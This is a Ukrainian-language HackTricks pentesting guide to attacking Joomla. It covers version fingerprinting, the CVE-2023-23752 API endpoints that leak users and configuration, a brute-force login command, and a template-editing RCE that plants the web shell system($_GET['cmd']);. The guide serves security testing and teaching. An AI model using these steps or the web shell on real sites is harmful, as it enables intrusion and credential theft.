Joomla
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Статистика Joomla
Joomla збирає деякі анонімні статистичні дані використання, такі як розподіл версій Joomla, PHP та бази даних, а також операційних систем серверів, що використовуються в установках Joomla. Ці дані можна запитувати через їхній публічний API.
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
Enumeration
Discovery/Footprinting
- Перевірте meta
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
- robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
- README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
Версія
- У /administrator/manifests/files/joomla.xml ви можете побачити версію.
- У /language/en-GB/en-GB.xml ви можете отримати версію Joomla.
- У plugins/system/cache/cache.xml ви можете побачити приблизну версію.
Автоматичний
droopescan scan joomla --url http://joomla-site.local/
В 80,443 - Методологія пентестингу веб є розділом про сканери CMS, які можуть сканувати Joomla.
Розкриття інформації без аутентифікації через API:
Версії від 4.0.0 до 4.2.7 вразливі до розкриття інформації без аутентифікації (CVE-2023-23752), що дозволяє вивантажувати облікові дані та іншу інформацію.
- Користувачі:
http://<host>/api/v1/users?public=true
- Конфігураційний файл:
http://<host>/api/index.php/v1/config/application?public=true
Модуль MSF: scanner/http/joomla_api_improper_access_checks
або ruby-скрипт: 51334
Брутфорс
Ви можете використовувати цей скрипт для спроби брутфорсити вхід.
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
RCE
Якщо вам вдалося отримати адміністративні облікові дані, ви можете RCE всередині нього, додавши фрагмент PHP коду для отримання RCE. Ми можемо зробити це, налаштувавши шаблон.
- Натисніть на
Templates
внизу зліва підConfiguration
, щоб відкрити меню шаблонів. - Натисніть на назву шаблону. Виберемо
protostar
під заголовком стовпцяTemplate
. Це перенесе нас на сторінкуTemplates: Customise
. - Нарешті, ви можете натиснути на сторінку, щоб відкрити джерело сторінки. Виберемо сторінку
error.php
. Додамо PHP однорядковий код для отримання виконання коду наступним чином: system($_GET['cmd']);
- Зберегти та закрити
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
Від XSS до RCE
- JoomSploit: Скрипт експлуатації Joomla, який підвищує XSS до RCE або інших критичних вразливостей. Для отримання додаткової інформації перегляньте цей пост. Він забезпечує підтримку версій Joomla 5.X.X, 4.X.X та 3.X.X, і дозволяє:
- Підвищення привілеїв: Створює користувача в Joomla.
- (RCE) Вбудоване редагування шаблонів: Редагує вбудовані шаблони в Joomla.
- (Custom) Користувацькі експлойти: Користувацькі експлойти для сторонніх плагінів Joomla.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.